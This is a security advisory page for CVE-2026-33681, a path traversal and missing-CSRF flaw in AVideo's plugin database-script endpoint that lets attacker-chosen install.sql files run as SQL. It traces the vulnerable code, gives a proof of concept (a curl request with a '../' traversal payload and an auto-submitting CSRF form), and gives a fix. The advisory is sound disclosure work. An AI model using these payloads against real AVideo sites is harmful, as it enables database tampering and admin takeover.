GHSA-3HWV-X8G3-9QPR

Vulnerability from github – Published: 2026-03-25 19:51 – Updated: 2026-03-25 19:51
VLAI?
Summary
AVideo has Path Traversal in pluginRunDatabaseScript.json.php Enables Arbitrary SQL File Execution via Unsanitized Plugin Name
Details

Summary

The objects/pluginRunDatabaseScript.json.php endpoint accepts a name parameter via POST and passes it to Plugin::getDatabaseFileName() without any path traversal sanitization. This allows an authenticated admin (or an attacker via CSRF) to traverse outside the plugin directory and execute the contents of any install/install.sql file on the filesystem as raw SQL queries against the application database.

Details

The vulnerable data flow:

1. Entry pointobjects/pluginRunDatabaseScript.json.php:21:

$fileName = Plugin::getDatabaseFileName($_POST['name']);

2. "Sanitization"objects/plugin.php:343-354:

public static function getDatabaseFileName($pluginName)
{
    global $global;
    $pluginName = AVideoPlugin::fixName($pluginName);  // line 347 — no-op
    $dir = $global['systemRootPath'] . "plugin";
    $filename = $dir . DIRECTORY_SEPARATOR . $pluginName . DIRECTORY_SEPARATOR . "install" . DIRECTORY_SEPARATOR . "install.sql";
    if (!file_exists($filename)) {
        return false;
    }
    return $filename;
}

3. The "fix"plugin/AVideoPlugin.php:3184-3190:

public static function fixName($name)
{
    if ($name === 'Programs') {
        return 'PlayLists';
    }
    return $name;  // Returns input unchanged for all other values
}

4. SQL executionobjects/pluginRunDatabaseScript.json.php:24-36:

$lines = file($fileName);
foreach ($lines as $line) {
    // ...
    if (!$global['mysqli']->query($templine)) {
        $obj->msg = ('Error performing query \'<strong>' . $templine . '\': ' . $global['mysqli']->error);
        die($templine.' '.json_encode($obj));  // Leaks file content + SQL error
    }
}

The sibling endpoint pluginRunUpdateScript.json.php correctly routes through AVideoPlugin::loadPlugin() which sanitizes the name with preg_replace('/[^0-9a-z_]/i', '', $name) at AVideoPlugin.php:395. The vulnerable endpoint bypasses this sanitization entirely.

Additionally, the endpoint lacks CSRF token validation. The related pluginImport.json.php properly checks isGlobalTokenValid(), but pluginRunDatabaseScript.json.php does not, making it exploitable via cross-site request forgery against an authenticated admin.

PoC

Step 1: Direct exploitation (as admin)

# Traverse to another plugin's install.sql (e.g., from CustomPlugin to LiveLinks)
curl -s -b "PHPSESSID=<admin_session>" \
  -d "name=../plugin/LiveLinks" \
  "https://target.com/objects/pluginRunDatabaseScript.json.php"

This resolves to: {root}/plugin/../plugin/LiveLinks/install/install.sql and executes its SQL.

Step 2: CSRF exploitation (no direct admin access needed)

Host the following HTML on an attacker-controlled page and trick an admin into visiting it:

<html>
<body>
<form action="https://target.com/objects/pluginRunDatabaseScript.json.php" method="POST" id="csrf">
  <input type="hidden" name="name" value="../../attacker-controlled-path" />
</form>
<script>document.getElementById('csrf').submit();</script>
</body>
</html>

Step 3: Information disclosure via error messages

If the traversed SQL file contains invalid SQL, lines 32-33 leak the raw file content in the error response:

{"error":true,"msg":"Error performing query '<strong>FILE CONTENT HERE': MySQL error..."}

Impact

  • SQL injection via file inclusion: An attacker can execute arbitrary SQL from any install/install.sql file reachable via path traversal, potentially creating admin accounts, modifying data, or extracting sensitive information.
  • Information disclosure: SQL execution errors leak raw file contents and MySQL error messages in the HTTP response.
  • CSRF amplification: The lack of CSRF protection means an external attacker can exploit this vulnerability by tricking an admin into visiting a malicious page, without needing direct admin credentials.
  • Chaining potential: If combined with any file-write primitive (e.g., GHSA-v8jw-8w5p-23g3, the plugin ZIP extraction RCE), an attacker can write a malicious install.sql file and then execute it via this endpoint.

Recommended Fix

Apply the same sanitization used by loadPlugin() to strip path traversal characters, and add CSRF token validation:

// In objects/pluginRunDatabaseScript.json.php, after line 14:

// Add CSRF protection
if (!isGlobalTokenValid()) {
    die('{"error":"' . __("Invalid token") . '"}');
}

// Sanitize plugin name before use (line 21)
$pluginName = trim(preg_replace('/[^0-9a-z_]/i', '', $_POST['name']));
$fileName = Plugin::getDatabaseFileName($pluginName);

Alternatively, fix AVideoPlugin::fixName() to apply proper sanitization for all callers:

public static function fixName($name)
{
    if ($name === 'Programs') {
        $name = 'PlayLists';
    }
    return trim(preg_replace('/[^0-9a-z_]/i', '', $name));
}
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "wwbn/avideo"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "26.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33681"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-25T19:51:46Z",
    "nvd_published_at": "2026-03-23T19:16:41Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nThe `objects/pluginRunDatabaseScript.json.php` endpoint accepts a `name` parameter via POST and passes it to `Plugin::getDatabaseFileName()` without any path traversal sanitization. This allows an authenticated admin (or an attacker via CSRF) to traverse outside the plugin directory and execute the contents of any `install/install.sql` file on the filesystem as raw SQL queries against the application database.\n\n## Details\n\nThe vulnerable data flow:\n\n**1. Entry point** \u2014 `objects/pluginRunDatabaseScript.json.php:21`:\n```php\n$fileName = Plugin::getDatabaseFileName($_POST[\u0027name\u0027]);\n```\n\n**2. \"Sanitization\"** \u2014 `objects/plugin.php:343-354`:\n```php\npublic static function getDatabaseFileName($pluginName)\n{\n    global $global;\n    $pluginName = AVideoPlugin::fixName($pluginName);  // line 347 \u2014 no-op\n    $dir = $global[\u0027systemRootPath\u0027] . \"plugin\";\n    $filename = $dir . DIRECTORY_SEPARATOR . $pluginName . DIRECTORY_SEPARATOR . \"install\" . DIRECTORY_SEPARATOR . \"install.sql\";\n    if (!file_exists($filename)) {\n        return false;\n    }\n    return $filename;\n}\n```\n\n**3. The \"fix\"** \u2014 `plugin/AVideoPlugin.php:3184-3190`:\n```php\npublic static function fixName($name)\n{\n    if ($name === \u0027Programs\u0027) {\n        return \u0027PlayLists\u0027;\n    }\n    return $name;  // Returns input unchanged for all other values\n}\n```\n\n**4. SQL execution** \u2014 `objects/pluginRunDatabaseScript.json.php:24-36`:\n```php\n$lines = file($fileName);\nforeach ($lines as $line) {\n    // ...\n    if (!$global[\u0027mysqli\u0027]-\u003equery($templine)) {\n        $obj-\u003emsg = (\u0027Error performing query \\\u0027\u003cstrong\u003e\u0027 . $templine . \u0027\\\u0027: \u0027 . $global[\u0027mysqli\u0027]-\u003eerror);\n        die($templine.\u0027 \u0027.json_encode($obj));  // Leaks file content + SQL error\n    }\n}\n```\n\nThe sibling endpoint `pluginRunUpdateScript.json.php` correctly routes through `AVideoPlugin::loadPlugin()` which sanitizes the name with `preg_replace(\u0027/[^0-9a-z_]/i\u0027, \u0027\u0027, $name)` at `AVideoPlugin.php:395`. The vulnerable endpoint bypasses this sanitization entirely.\n\nAdditionally, the endpoint lacks CSRF token validation. The related `pluginImport.json.php` properly checks `isGlobalTokenValid()`, but `pluginRunDatabaseScript.json.php` does not, making it exploitable via cross-site request forgery against an authenticated admin.\n\n## PoC\n\n**Step 1: Direct exploitation (as admin)**\n\n```bash\n# Traverse to another plugin\u0027s install.sql (e.g., from CustomPlugin to LiveLinks)\ncurl -s -b \"PHPSESSID=\u003cadmin_session\u003e\" \\\n  -d \"name=../plugin/LiveLinks\" \\\n  \"https://target.com/objects/pluginRunDatabaseScript.json.php\"\n```\n\nThis resolves to: `{root}/plugin/../plugin/LiveLinks/install/install.sql` and executes its SQL.\n\n**Step 2: CSRF exploitation (no direct admin access needed)**\n\nHost the following HTML on an attacker-controlled page and trick an admin into visiting it:\n\n```html\n\u003chtml\u003e\n\u003cbody\u003e\n\u003cform action=\"https://target.com/objects/pluginRunDatabaseScript.json.php\" method=\"POST\" id=\"csrf\"\u003e\n  \u003cinput type=\"hidden\" name=\"name\" value=\"../../attacker-controlled-path\" /\u003e\n\u003c/form\u003e\n\u003cscript\u003edocument.getElementById(\u0027csrf\u0027).submit();\u003c/script\u003e\n\u003c/body\u003e\n\u003c/html\u003e\n```\n\n**Step 3: Information disclosure via error messages**\n\nIf the traversed SQL file contains invalid SQL, lines 32-33 leak the raw file content in the error response:\n```json\n{\"error\":true,\"msg\":\"Error performing query \u0027\u003cstrong\u003eFILE CONTENT HERE\u0027: MySQL error...\"}\n```\n\n## Impact\n\n- **SQL injection via file inclusion**: An attacker can execute arbitrary SQL from any `install/install.sql` file reachable via path traversal, potentially creating admin accounts, modifying data, or extracting sensitive information.\n- **Information disclosure**: SQL execution errors leak raw file contents and MySQL error messages in the HTTP response.\n- **CSRF amplification**: The lack of CSRF protection means an external attacker can exploit this vulnerability by tricking an admin into visiting a malicious page, without needing direct admin credentials.\n- **Chaining potential**: If combined with any file-write primitive (e.g., GHSA-v8jw-8w5p-23g3, the plugin ZIP extraction RCE), an attacker can write a malicious `install.sql` file and then execute it via this endpoint.\n\n## Recommended Fix\n\nApply the same sanitization used by `loadPlugin()` to strip path traversal characters, and add CSRF token validation:\n\n```php\n// In objects/pluginRunDatabaseScript.json.php, after line 14:\n\n// Add CSRF protection\nif (!isGlobalTokenValid()) {\n    die(\u0027{\"error\":\"\u0027 . __(\"Invalid token\") . \u0027\"}\u0027);\n}\n\n// Sanitize plugin name before use (line 21)\n$pluginName = trim(preg_replace(\u0027/[^0-9a-z_]/i\u0027, \u0027\u0027, $_POST[\u0027name\u0027]));\n$fileName = Plugin::getDatabaseFileName($pluginName);\n```\n\nAlternatively, fix `AVideoPlugin::fixName()` to apply proper sanitization for all callers:\n\n```php\npublic static function fixName($name)\n{\n    if ($name === \u0027Programs\u0027) {\n        $name = \u0027PlayLists\u0027;\n    }\n    return trim(preg_replace(\u0027/[^0-9a-z_]/i\u0027, \u0027\u0027, $name));\n}\n```",
  "id": "GHSA-3hwv-x8g3-9qpr",
  "modified": "2026-03-25T19:51:46Z",
  "published": "2026-03-25T19:51:46Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-3hwv-x8g3-9qpr"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33681"
    },
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/commit/81b591c509835505cb9f298aa1162ac64c4152cb"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/WWBN/AVideo"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-v8jw-8w5p-23g3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "AVideo has Path Traversal in pluginRunDatabaseScript.json.php Enables Arbitrary SQL File Execution via Unsanitized Plugin Name"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Sightings

Author Source Type Date

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…